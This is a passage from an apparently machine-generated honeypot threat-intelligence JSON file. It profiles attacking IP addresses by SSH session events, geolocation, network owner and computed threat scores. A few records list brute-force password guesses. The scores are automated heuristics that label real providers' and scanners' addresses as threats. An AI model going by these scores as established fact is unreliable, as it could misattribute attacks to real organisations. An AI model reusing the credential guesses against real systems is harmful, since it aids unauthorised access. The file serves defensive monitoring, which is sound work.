      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 39.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.8,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 119,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-30T04:14:43+00:00",
        "last_seen_30d": "2026-05-30T04:20:32.614000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 70,
        "Suricata": 46,
        "Mailoney": 3
      }
    },
    "192.250.235.26": {
      "attack_count": 66,
      "first_seen": "2026-05-08T12:26:36.411Z",
      "last_seen": "2026-05-27T20:19:57.035Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 204800,
      "as_org": "WHG Hosting Services Ltd",
      "threat_score": 41.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.9,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 77,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T12:26:36.411000+00:00",
        "last_seen_30d": "2026-05-27T20:21:04.138000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 33
      }
    },
    "51.91.111.247": {
      "attack_count": 66,
      "first_seen": "2026-05-08T09:31:53.889Z",
      "last_seen": "2026-05-28T23:57:29.258Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 45.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.9,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 77,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T09:31:53.889000+00:00",
        "last_seen_30d": "2026-05-28T23:58:37.511000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 33
      }
    },
    "41.60.251.45": {
      "attack_count": 62,
      "first_seen": "2026-05-22T10:11:18.005Z",
      "last_seen": "2026-05-22T14:38:27.800Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Zambia",
      "country_code": "ZM",
      "city": "Lusaka",
      "asn": 30844,
      "as_org": "Liquid Telecommunications Ltd",
      "threat_score": 22.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 93,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T10:11:18.005000+00:00",
        "last_seen_30d": "2026-05-22T14:39:35.540000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 62,
        "Suricata": 31
      }
    },
    "74.48.5.133": {
      "attack_count": 54,
      "first_seen": "2026-05-02T03:11:08.556Z",
      "last_seen": "2026-05-14T04:53:20.413Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 35916,
      "as_org": "MULTACOM CORPORATION",
      "threat_score": 17.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.0,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T03:11:08.556000+00:00",
        "last_seen_30d": "2026-05-14T04:54:23.759000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 27
      }
    },
    "117.134.199.28": {
      "attack_count": 50,
      "first_seen": "2026-05-07T06:30:13.134Z",
      "last_seen": "2026-05-07T06:35:37.570Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Islamabad",
      "asn": 138423,
      "as_org": "CMPak Limited",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T06:30:13.134000+00:00",
        "last_seen_30d": "2026-05-07T06:36:38.728000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "184.154.1.60": {
      "attack_count": 48,
      "first_seen": "2026-05-12T12:54:43.663Z",
      "last_seen": "2026-05-27T06:30:30.451Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 32475,
      "as_org": "Internap Holding LLC",
      "threat_score": 37.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.6,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 57,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T12:54:43.663000+00:00",
        "last_seen_30d": "2026-05-27T06:31:39.634000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 25
      }
    },
    "42.100.20.90": {
      "attack_count": 48,
      "first_seen": "2026-05-19T00:40:14.539Z",
      "last_seen": "2026-05-19T02:57:15.541Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T00:32:21.912000+00:00",
        "last_seen_30d": "2026-05-19T02:58:19.530000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "65.60.61.159": {
      "attack_count": 42,
      "first_seen": "2026-05-29T03:47:16.704Z",
      "last_seen": "2026-05-30T09:34:22.487Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 32475,
      "as_org": "Internap Holding LLC",
      "threat_score": 29.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.9,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T03:47:16.704000+00:00",
        "last_seen_30d": "2026-05-30T09:35:31.676000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 21
      }
    },
    "69.25.10.167": {
      "attack_count": 36,
      "first_seen": "2026-05-10T03:02:33.785Z",
      "last_seen": "2026-05-14T12:38:44.540Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Lake Worth",
      "asn": 10912,
      "as_org": "Unitas Global",
      "threat_score": 14.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.2,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T03:02:33.785000+00:00",
        "last_seen_30d": "2026-05-14T12:39:45.985000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 18
      }
    },
    "172.93.121.126": {
      "attack_count": 30,
      "first_seen": "2026-05-08T02:57:05.814Z",
      "last_seen": "2026-05-31T12:36:33.239Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 393960,
      "as_org": "Host4Geeks LLC",
      "threat_score": 47.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.4,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T02:57:05.814000+00:00",
        "last_seen_30d": "2026-05-31T12:37:35.305000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 15
      }
    },
    "122.194.9.230": {
      "attack_count": 28,
      "first_seen": "2026-05-13T08:04:33.815Z",
      "last_seen": "2026-05-13T08:12:48.523Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 11.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T08:04:33.815000+00:00",
        "last_seen_30d": "2026-05-13T08:13:58.157000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 14
      }
    },
    "177.112.48.106": {
      "attack_count": 28,
      "first_seen": "2026-05-21T23:51:34.586Z",
      "last_seen": "2026-05-22T00:06:02.298Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Santana de Parna\u00edba",
      "asn": 26599,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 21.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T23:51:34.586000+00:00",
        "last_seen_30d": "2026-05-22T00:16:46.804000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 18
      }
    },
    "135.181.67.10": {
      "attack_count": 24,
      "first_seen": "2026-05-10T03:39:46.384Z",
      "last_seen": "2026-05-12T04:55:01.502Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T03:39:46.384000+00:00",
        "last_seen_30d": "2026-05-12T04:56:09.488000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "154.12.225.236": {
      "attack_count": 24,
      "first_seen": "2026-05-11T06:36:04.680Z",
      "last_seen": "2026-05-27T14:51:19.209Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "St Louis",
      "asn": 40021,
      "as_org": "Contabo Inc.",
      "threat_score": 35.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.5,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T06:36:04.680000+00:00",
        "last_seen_30d": "2026-05-27T14:52:19.645000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "5.205.160.88": {
      "attack_count": 22,
      "first_seen": "2026-05-21T08:30:49.482Z",
      "last_seen": "2026-05-21T16:51:40.592Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Barcelona",
      "asn": 3352,
      "as_org": "Telefonica De Espana S.a.u.",
      "threat_score": 18.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 33,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T08:30:49.482000+00:00",
        "last_seen_30d": "2026-05-21T16:52:43.012000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 11
      }
    },
    "77.133.250.70": {
      "attack_count": 18,
      "first_seen": "2026-05-02T21:17:30.079Z",
      "last_seen": "2026-05-02T21:31:52.837Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Cr\u00e9teil",
      "asn": 15557,
      "as_org": "Societe Francaise Du Radiotelephone - SFR SA",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T21:17:30.079000+00:00",
        "last_seen_30d": "2026-05-02T21:32:59.732000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 12
      }
    },
    "93.38.58.124": {
      "attack_count": 16,
      "first_seen": "2026-05-20T20:08:29.427Z",
      "last_seen": "2026-05-21T06:06:25.964Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Milan",
      "asn": 12874,
      "as_org": "Fastweb",
      "threat_score": 18.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T20:08:29.427000+00:00",
        "last_seen_30d": "2026-05-21T06:07:35.479000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 8
      }
    },
    "14.103.112.106": {
      "attack_count": 14,
      "first_seen": "2026-05-28T10:06:15.006Z",
      "last_seen": "2026-05-28T10:29:58.122Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Zc123456",
        "adminadmin123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 23.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T10:06:15.006000+00:00",
        "last_seen_30d": "2026-05-28T10:40:05.695000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 9
      }
    },
    "106.13.64.124": {
      "attack_count": 12,
      "first_seen": "2026-05-26T20:16:55.649Z",
      "last_seen": "2026-05-26T20:45:23.138Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "family"
      ],
      "passwords_attempted": [
        "family"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 21.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T20:16:55.649000+00:00",
        "last_seen_30d": "2026-05-26T20:55:28.120000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 8
      }
    },
    "176.65.136.31": {
      "attack_count": 12,
      "first_seen": "2026-05-30T23:35:05.052Z",
      "last_seen": "2026-05-31T22:05:58.074Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 198584,
      "as_org": "PIO-Hosting GmbH",
      "threat_score": 25.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T23:35:05.052000+00:00",
        "last_seen_30d": "2026-05-31T22:07:06.080000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "175.213.118.146": {
      "attack_count": 8,
      "first_seen": "2026-05-21T02:04:35.213Z",
      "last_seen": "2026-05-31T03:20:08.400Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Goyang-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 37.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.9,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 39,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T02:00:20.290000+00:00",
        "last_seen_30d": "2026-05-31T03:38:15.895000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 31,
        "Cowrie": 8
      }
    },
    "20.163.26.91": {
      "attack_count": 7,
      "first_seen": "2026-05-03T07:09:20.476Z",
      "last_seen": "2026-05-03T07:09:30.477Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 69.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.8,
        "persistence": 23.3,
        "diversity": 14,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 28,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-03T07:08:26.302000+00:00",
        "last_seen_30d": "2026-05-30T07:40:51.147000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 19,
        "Cowrie": 7,
        "Honeytrap": 3,
        "H0neytr4p": 1
      }
    },
    "52.186.182.60": {
      "attack_count": 7,
      "first_seen": "2026-05-21T21:23:40.571Z",
      "last_seen": "2026-05-21T21:23:50.572Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 55.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.9,
        "persistence": 17.5,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 21,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-10T10:28:57.946000+00:00",
        "last_seen_30d": "2026-05-30T20:11:50.403000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 21,
        "Cowrie": 7,
        "Honeytrap": 3
      }
    },
    "103.68.219.175": {
      "attack_count": 6,
      "first_seen": "2026-05-21T16:13:11.848Z",
      "last_seen": "2026-05-21T16:19:16.571Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "New Delhi",
      "asn": 135772,
      "as_org": "POWERNET",
      "threat_score": 15.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T16:13:11.848000+00:00",
        "last_seen_30d": "2026-05-21T16:31:07.095000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 5
      }
    },
    "194.110.247.134": {
      "attack_count": 6,
      "first_seen": "2026-05-05T00:19:11.178Z",
      "last_seen": "2026-05-05T00:19:18.676Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Moldova",
      "country_code": "MD",
      "city": "Chisinau",
      "asn": 200019,
      "as_org": "Alexhost Srl",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T00:19:11.178000+00:00",
        "last_seen_30d": "2026-05-05T00:20:20.735000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "66.132.186.169": {
      "attack_count": 6,
      "first_seen": "2026-05-22T03:31:45.195Z",
      "last_seen": "2026-05-22T03:32:24.132Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 88.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.7,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 233,
        "days_active_30d": 28,
        "ports_targeted_30d": 41,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-03T10:03:17.948000+00:00",
        "last_seen_30d": "2026-05-30T16:32:19.606000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 141,
        "Honeytrap": 65,
        "ElasticPot": 14,
        "ConPot": 6,
        "Cowrie": 6,
        "Ipphoney": 1
      }
    },
    "66.132.195.55": {
      "attack_count": 6,
      "first_seen": "2026-05-08T02:10:24.676Z",
      "last_seen": "2026-05-08T02:10:59.218Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.7,
      "threat_level": "critical",
